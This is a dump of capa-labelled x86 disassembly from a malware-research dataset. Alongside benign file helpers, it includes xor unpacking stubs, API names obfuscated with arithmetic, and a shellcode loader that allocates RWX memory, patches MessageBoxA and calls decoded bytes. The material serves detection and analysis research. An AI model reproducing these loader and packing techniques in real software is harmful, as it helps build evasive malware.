joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401690
Capabilities:
Encode data using xor

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x10
push ebx
push esi
push edi
push edx
pop edi
push edi
push 0
push dword [section..data]
mov dword [ebp - 8], edi
push ecx
pop esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, edi
shr ebx, 2
mov dword [ebp - 4], eax
or ebx, ebx
je 0x4016d4
push esi
pop edi
mov ecx, eax
sub edi, eax
mov edx, ebx
mov eax, dword [edi + ecx]
mov dword [ecx], eax
lea ecx, [ecx + 4]
dec edx
jne 0x4016c3
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 4]
shl ebx, 2
cmp ebx, edi
jae 0x4016ef
push edi
pop edx
sub esi, eax
lea ecx, [ebx + eax]
sub edx, ebx
mov al, byte [ecx + esi]
mov byte [ecx], al
lea ecx, [ecx + 1]
dec edx
jne 0x4016e4
mov eax, dword [ebp - 4]
lea esi, [edi - 8]
lea ecx, [eax - 8]
add ecx, edi
push esi
pop ebx
mov edx, dword [ecx + 4]
mov dword [ebp - 0x10], ecx
mov ecx, dword [ecx]
shr ebx, 2
and esi, 3
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], ecx
or ebx, ebx
je 0x401731
lea ecx, [ebx + edx]
mov edx, dword [eax]
movzx ecx, cl
ror edx, cl
mov ecx, dword [ebp - 8]
add eax, 4
xor edx, ecx
sub edx, ebx
mov dword [eax - 4], edx
mov edx, dword [ebp - 0xc]
dec ebx
jne 0x401714
test esi, esi
je 0x40173d
xor byte [eax], cl
lea eax, [eax + 1]
dec esi
jne 0x401735
mov edi, dword [ebp - 0x10]
mov edi, dword [edi - 4]
push edi
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [ebp - 4]
push eax
pop esi
mov edx, esi
push ebx
pop ecx
call section..text
push ebx
push 0
push dword [section..data]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], edi
pop edi
mov dword [ecx], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x40c7d0
nop
mov ecx, 0x7a7a1043
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x305e578d
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x4011d0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
sub esp, 0x70
mov eax, dword [0x47f004]
xor eax, esp
mov dword [esp + 0x6c], eax
movaps xmm0, xmmword [0x47cc30]
push ebx
movups xmmword [esp + 0xc], xmm0
push ebp
movaps xmm0, xmmword [0x47cbf0]
push esi
movups xmmword [esp + 0x24], xmm0
push edi
movaps xmm0, xmmword [0x47cc10]
movups xmmword [esp + 0x38], xmm0
push 0x40
movaps xmm0, xmmword [0x47cc40]
movups xmmword [esp + 0x4c], xmm0
push 0x3000
movaps xmm0, xmmword [0x47cc00]
movups xmmword [esp + 0x60], xmm0
push 0xa00000
movaps xmm0, xmmword [0x47cc20]
push 0
movups xmmword [esp + 0x78], xmm0
mov dword [esp + 0x88], 0x347032c
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
mov ebp, eax
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0
push eax
push 0x40
push 0x100
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov al, byte [esi]
mov byte [esp + 0x10], al
mov al, byte [esi + 1]
push 0
mov byte [esp + 0x15], al
mov al, byte [esi + 2]
push str.The_one_and_only_application_object
mov byte [esp + 0x1a], al
mov al, byte [esi + 3]
push str.The_one_and_only_application_object
push 0
mov byte [esp + 0x23], al
mov dword [esi], 0x900010c2
call esi
xor ebx, ebx
mov edi, 0x46870f
push 0
push str.The_one_and_only_application_object
push str.The_one_and_only_application_object
push 0
call esi
movsx eax, byte [edi]
not eax
test eax, eax
je 0x401100
mov byte [ebx + ebp], al
dec edi
inc ebx
cmp edi, 0x410f10
jge 0x4010e4
push 0
push str.The_one_and_only_application_object
push str.The_one_and_only_application_object
push 0
call esi
mov edi, 0x9465aa
nop
push 0
push str.The_one_and_only_application_object
push str.The_one_and_only_application_object
push 0
call esi
push 0
push str.The_one_and_only_application_object
push str.The_one_and_only_application_object
push 0
call esi
sub edi, 1
jne 0x401120
push edi
push str.The_one_and_only_application_object
push str.The_one_and_only_application_object
push edi
call esi
xor ecx, ecx
mov edi, 0x64
nop word [eax + eax]
mov eax, ecx
xor edx, edx
div edi
mov al, byte [esp + edx + 0x18]
xor byte [ecx + ebp], al
inc ecx
cmp ecx, 0x57800
jl 0x401160
push 0
push str.The_one_and_only_application_object
push str.The_one_and_only_application_object
push 0
call esi
push 0
push str.The_one_and_only_application_object
push str.The_one_and_only_application_object
push 0
call esi
mov al, byte [esp + 0x10]
mov byte [esi], al
mov al, byte [esp + 0x11]
mov byte [esi + 1], al
mov al, byte [esp + 0x12]
mov byte [esi + 2], al
mov al, byte [esp + 0x13]
mov byte [esi + 3], al
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
push 0x2710
call esi
jmp 0x4011c0
call dword [sym.imp.KERNEL32.dll_FreeConsole]
jmp 0x401010

Function at 0x406fce
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00406c70
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x72a35dbc
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
mov ecx, 0x2877006f
nop
nop
nop
nop
nop
test eax, eax
nop
je 0x433084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x403e59
pop dword [ebp - 0x14]
mov eax, 0x5cdeefb
add eax, 0xfa724f5e
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0xed2c0c80
sub dword [ebp - 0x24], 0x9ed9c735
mov dword [ebp - 0x20], 0x35a62229
add dword [ebp - 0x20], 0xfc8d2a1c
mov dword [ebp - 0x1c], 0x386a8378
sub dword [ebp - 0x1c], 0xec1e3f4a
mov dword [ebp - 0x18], 0x47862f39
add dword [ebp - 0x18], 0xb879d0c7
lea eax, [ebp - 0x24]
push eax
mov eax, 0x8f9f0fe7
sub eax, 0x8f5e9f83
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x122e32e1
sub dword [ebp - 0x24], 0x9dbbc98b
mov dword [ebp - 0x20], 0x7ed13bf6
sub dword [ebp - 0x20], 0x3d64da81
mov dword [ebp - 0x1c], 0xa0047e7
sub dword [ebp - 0x1c], 0xa690db7b
mov dword [ebp - 0x18], 0x5f43d564
add dword [ebp - 0x18], 0xa0bc2a9c
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xd79a4242
sub eax, 0xd759d19a
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3e89d
push 0
call eax
mov ecx, 0x672a
xor esi, esi
add esi, eax
mov edi, 0xe343254f
sub edi, 0xe302254f
add edi, dword [ebp - 0x14]
mov ebx, 0xc4d48f20
sub ebx, 0xb1b2a904
xor dword [ebp - 0x10], esi
mov edx, dword [edi]
add dword [ebp - 4], esi
xor edx, ebx
sub dword [ebp - 0x10], 0x30314297
mov dword [esi], edx
add dword [ebp - 4], 0x21f1d0e0
add esi, 4
add edi, 0x60146b88
add edi, 0x9feb947c
loop 0x403f77
add eax, 0x77db6d2f
sub eax, 0x77d9ddb4
mov ebx, eax
add eax, 0xbc0d462e
add eax, 0x43f2b9d7
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x40df10
Capabilities:
Check if file exists
Create directory

Disassembly:
push esi
mov esi, ecx
mov eax, esi
cmp dword [esi + 0x14], 8
jb 0x40df1d
mov eax, dword [esi]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ecx, dword [esi + 0x14]
test eax, eax
je 0x40df40
cmp ecx, 8
jb 0x40df32
mov esi, dword [esi]
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
test eax, eax
pop esi
setne al
ret
cmp ecx, 8
jb 0x40df47
mov esi, dword [esi]
push 0
push esi
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
mov esi, eax
test esi, esi
je 0x40dfb0
mov eax, dword [0x4be6ac]
test eax, eax
je 0x40df89
push esi
push 0x4b0948
push 0x4aeee0
push 0x4aeee0
push str.FileUtils
push str.OOBEUtils
push 0x32
call eax
add esp, 0x1c
test esi, esi
sete al
pop esi
ret
mov ecx, dword [0x4be6b0]
test ecx, ecx
je 0x40dfae
mov eax, dword [ecx]
push esi
push 0x4b0948
push str.FileUtils
push 0x4aeee0
push 0x32
push ecx
call dword [eax + 0x34]
add esp, 0x18
test esi, esi
sete al
pop esi
ret

Function at 0x40dfc0
Capabilities:
Check if file exists
Delete file

Disassembly:
push edi
mov edi, ecx
mov eax, edi
cmp dword [edi + 0x14], 8
jb 0x40dfcd
mov eax, dword [edi]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40e089
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x40dfe6
mov eax, dword [edi]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryW]
cmp dword [edi + 0x14], 8
mov eax, edi
jb 0x40dff7
mov eax, dword [edi]
push ebx
push eax
call dword [sym.imp.kernel32.dll_DeleteFileW]
cmp eax, 1
sete bl
je 0x40e084
cmp dword [0x4be6ac], 0
je 0x40e049
cmp dword [edi + 0x14], 8
jb 0x40e018
mov edi, dword [edi]
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push edi
push str.Failed_to_delete_file:__s_LastError:_d
push 0x4aeee0
push 0x4aeee0
push str.FileUtils
push str.OOBEUtils
push 0x32
call dword [0x4be6ac]
add esp, 0x20
mov al, bl
pop ebx
pop edi
ret
push esi
mov esi, dword [0x4be6b0]
test esi, esi
je 0x40e083
cmp dword [edi + 0x14], 8
jb 0x40e05c
mov edi, dword [edi]
mov esi, dword [esi]
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push edi
push str.Failed_to_delete_file:__s_LastError:_d
push str.FileUtils
push 0x4aeee0
push 0x32
push dword [0x4be6b0]
call dword [esi + 0x34]
add esp, 0x1c
pop esi
mov al, bl
pop ebx
pop edi
ret
mov al, 1
pop edi
ret
Function at 0x446346
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x446355
pop dword [ebp - 0xc]
mov eax, 0x446355
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xe735c7eb
sub dword [ebp - 0x1c], 0x98e382a0
mov dword [ebp - 0x18], 0x8830281d
add dword [ebp - 0x18], 0xaa032428
mov dword [ebp - 0x14], 0xb3995a56
sub dword [ebp - 0x14], 0x674d1628
mov dword [ebp - 0x10], 0x5655ba50
add dword [ebp - 0x10], 0xa9aa45b0
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x82e8925
add eax, 0xf81b072f
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x10332f1e
sub dword [ebp - 0x1c], 0x9bc0c5c8
mov dword [ebp - 0x18], 0xfa202dcf
sub dword [ebp - 0x18], 0xb8b3cc5a
mov dword [ebp - 0x14], 0x967bba6
add dword [ebp - 0x14], 0x5a07b0c6
mov dword [ebp - 0x10], 0xbbe3e65a
sub dword [ebp - 0x10], 0xbbe3e65a
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x28176bfd
sub eax, 0x27cddbd9
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x6b177
push 0
call eax
mov ecx, 0x3de6
mov edx, eax
mov ebx, 0xdc7098bb
add ebx, 0x23dbc545
add ebx, dword [ebp - 0xc]
mov esi, 0x4cfbe1d9
xor dword [ebp - 4], 0x4482475a
mov edi, dword [ebx]
mov dword [ebp - 8], 0xb7331301
add edi, esi
xor dword [ebp - 8], esi
mov dword [edx], edi
sub dword [ebp - 4], 0xd4807768
add edx, 0xc9e97dbc
add edx, 0x36168248
add ebx, 4
loop 0x446466
add eax, 0x300cfdd7
add eax, 0xcff3ec94
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xa00832b7
sub ecx, 0x9fc832b7
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x401bd7
pop dword [ebp - 0xc]
mov eax, 0x401bd7
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x202cb227
sub dword [ebp - 0x1c], 0xd1da6cdc
mov dword [ebp - 0x18], 0xcf0a3b62
sub dword [ebp - 0x18], 0x9cd6ef1d
mov dword [ebp - 0x14], 0x4e7e3d73
sub dword [ebp - 0x14], 0x231f945
mov dword [ebp - 0x10], 0xd2457354
sub dword [ebp - 0x10], 0xd2457354
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x86ffb4c4
sub dword [ebp - 0x1c], 0x128d4b6e
mov dword [ebp - 0x18], 0x21c2b763
add dword [ebp - 0x18], 0x1fa9aa12
mov dword [ebp - 0x14], 0xc5f59824
sub dword [ebp - 0x14], 0x62862bb8
mov dword [ebp - 0x10], 0x1d19ec3b
add dword [ebp - 0x10], 0xe2e613c5
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x424b9571
sub eax, 0x420b2471
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x3b5d3
push 0
call eax
mov ecx, 0x5b28
mov edx, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0xc]
mov esi, 0xed29dc25
sub dword [ebp - 8], esi
mov edi, dword [ebx]
xor edi, esi
xor dword [ebp - 8], 0xa64bb896
mov dword [edx], edi
mov dword [ebp - 4], 0x68863433
add edx, 4
add ebx, 0xae1e6802
sub ebx, 0xae1e67fe
loop 0x401cdd
add eax, 0x7194160f
add eax, 0x8e6d4964
xor ebx, ebx
add ebx, eax
add eax, 0x921081fd
sub eax, 0x921081f8
mov ecx, 0xe235c5d5
add ecx, 0x1e0a3a2b
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x4025a3
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [0x4184b4], 0
je 0x4025de
mov dword [0x41ad00], 0x12345678
mov eax, dword [0x41acd4]
sub eax, 8
mov ecx, dword [0x41ace0]
sub ecx, 0x4184c0
cmp eax, ecx
jge 0x4025de
mov dword [0x41acd4], 0
cmp dword [0x41acd4], 0
jle 0x4025f0
cmp dword [0x41ed00], 0
jg 0x40260e
mov dword [0x41acdc], 1
mov edx, dword [0x4184a8]
add edx, 1
mov dword [0x4184b8], edx
jmp 0x402773
mov eax, dword [0x41acd0]
mov dword [ebp - 4], eax
push 0
lea ecx, [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
push 0x41ad00
mov eax, dword [0x4184ac]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
movsx ecx, word [0x4130b4]
test ecx, ecx
je 0x402655
movsx edx, word [0x4130b4]
push edx
mov eax, dword [ebp - 8]
push eax
push 0x41ad00
call fcn.004061d0
add esp, 0xc
mov dword [0x4184a8], 0x41ad00
mov ecx, dword [ebp - 8]
add ecx, 0x41ad00
mov dword [0x4184b8], ecx
cmp dword [0x41acec], 0
je 0x4026a0
mov edx, dword [ebp - 8]
cmp edx, dword [0x41ed00]
jle 0x402691
mov eax, dword [0x41ed00]
add eax, 0x41ad00
mov dword [0x4184b8], eax
mov ecx, dword [0x41ed00]
sub ecx, dword [ebp - 8]
mov dword [0x41ed00], ecx
cmp dword [0x4130ac], 0
je 0x4026c9
cmp dword [0x4130c4], 0
je 0x4026c9
mov edx, dword [ebp - 8]
push edx
push 0x41ad00
call dword [0x4130c4]
add esp, 8
mov dword [0x4130ac], eax
cmp dword [0x4130bc], 0
je 0x4026df
mov eax, dword [ebp - 8]
push eax
call dword [0x4130bc]
add esp, 4
mov ecx, dword [ebp - 8]
push ecx
call fcn.00402777
add esp, 4
test eax, eax
jne 0x402728
mov dword [0x4184a4], 1
mov dword [0x41ed00], 0
mov edx, dword [0x41ed00]
mov dword [0x41acd4], edx
mov eax, dword [0x4184a8]
add eax, 1
mov dword [0x4184b8], eax
mov dword [0x4130a0], 0
jmp 0x40275d
cmp dword [ebp - 8], 0
ja 0x40275d
mov dword [0x41ed00], 0
mov ecx, dword [0x41ed00]
mov dword [0x41acd4], ecx
mov dword [0x41acdc], 1
mov edx, dword [0x4184a8]
add edx, 1
mov dword [0x4184b8], edx
cmp dword [0x4184b4], 0
je 0x402773
mov eax, dword [0x4184a8]
add eax, 6
mov dword [0x4184a8], eax
mov esp, ebp
pop ebp
ret

Function at 0x402905
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.004029c3
cmp dword [0x4130b0], 0
je 0x40293e
cmp dword [0x4130c4], 0
je 0x40293e
mov eax, dword [0x41ace0]
sub eax, 0x4184c0
push eax
push 0x4184c0
call dword [0x4130c4]
add esp, 8
mov dword [0x4130b0], eax
mov ecx, dword [0x41ace0]
sub ecx, 0x4184c0
mov dword [ebp - 4], ecx
cmp dword [0x4130b8], 0
je 0x40297e
mov edx, dword [ebp - 4]
push edx
push 0x4184c0
mov eax, dword [0x4130b8]
push eax
call fcn.00406810
add esp, 0xc
mov ecx, dword [0x4130b8]
add ecx, dword [ebp - 4]
mov dword [0x4130b8], ecx
jmp 0x40299a
push 0
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 4]
push eax
push 0x4184c0
mov ecx, dword [0x40a744]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [0x41ace8]
add edx, dword [ebp - 4]
mov dword [0x41ace8], edx
cmp dword [0x4130c0], 0
je 0x4029bf
mov eax, dword [ebp - 4]
push eax
call dword [0x4130c0]
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x4031d5
Capabilities:
Delete file
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
mov eax, dword [ebp + 8]
push eax
call fcn.004034cd
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x403398
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
push 0
push 0
mov edx, dword [ebp - 0xc]
sub edx, 8
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [ebp - 0x20], 0x7fffffff
push 0
lea ecx, [ebp - 0x24]
push ecx
push 8
lea edx, [ebp - 0x20]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, dword [ebp - 0x24]
push ecx
lea edx, [ebp - 0x20]
push edx
call fcn.004031c0
add esp, 8
test eax, eax
je 0x40338e
cmp dword [ebp - 0x24], 8
jne 0x40338e
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
add ecx, 8
mov edx, dword [ebp - 0xc]
sub edx, ecx
mov dword [ebp - 0xc], edx
cmp dword [ebp - 0xc], 0
jle 0x40338e
cmp dword [ebp - 0x2c], 0
jle 0x40338e
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0xc]
jge 0x40338e
push 0
push 0
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp + 0xc]
push eax
call fcn.004034cd
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
je 0x40338e
cmp dword [ebp - 0x2c], 0
je 0x403384
cmp dword [ebp - 0x2c], 0x4000
jle 0x403304
mov dword [ebp - 0x30], 0x4000
jmp 0x40330a
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
push 0
lea ecx, [ebp - 0x24]
push ecx
mov edx, dword [ebp - 0x28]
push edx
push 0x413f80
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
push 0x413f80
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x24]
jne 0x40335b
mov edx, dword [ebp - 0x28]
cmp edx, dword [ebp - 0x10]
je 0x40337f
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 8], 0xffffffff
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004034cd
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4032e8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x403450
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0x104
push 0x4183a0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x403479
push str.c:win95
push 0x4183a0
call fcn.00406200
add esp, 8
push 0x4183a0
call fcn.00406450
add esp, 4
movsx eax, byte [eax + 0x41839f]
cmp eax, 0x5c
je 0x4034a4
push 0x40a3b0
push 0x4183a0
call fcn.00406210
add esp, 8
mov ecx, dword [ebp + 0xc]
push ecx
push 0x4183a0
call fcn.00406210
add esp, 8
mov edx, dword [ebp + 8]
push edx
push 0x4183a0
call fcn.00406210
add esp, 8
mov eax, 0x4183a0
pop ebp
ret

Function at 0x403640
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push 5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp - 4], eax
mov dword [ebp - 0x88], 0
jmp 0x403676
mov eax, dword [ebp - 0x88]
add eax, 1
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0x40
jge 0x403711
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4036fd
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
jne 0x4036fd
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
je 0x4036fd
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
je 0x4036fd
mov edx, dword [ebp - 4]
cmp edx, dword [ebp + 0xc]
je 0x4036fd
push 0x80
lea eax, [ebp - 0x84]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
movsx edx, byte [ebp - 0x84]
test edx, edx
je 0x4036fd
push 0xffffffffffffffec
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
and eax, 8
test eax, eax
jne 0x4036fd
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
jmp 0x403711
push 2
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp - 4], eax
jmp 0x403667
mov esp, ebp
pop ebp
ret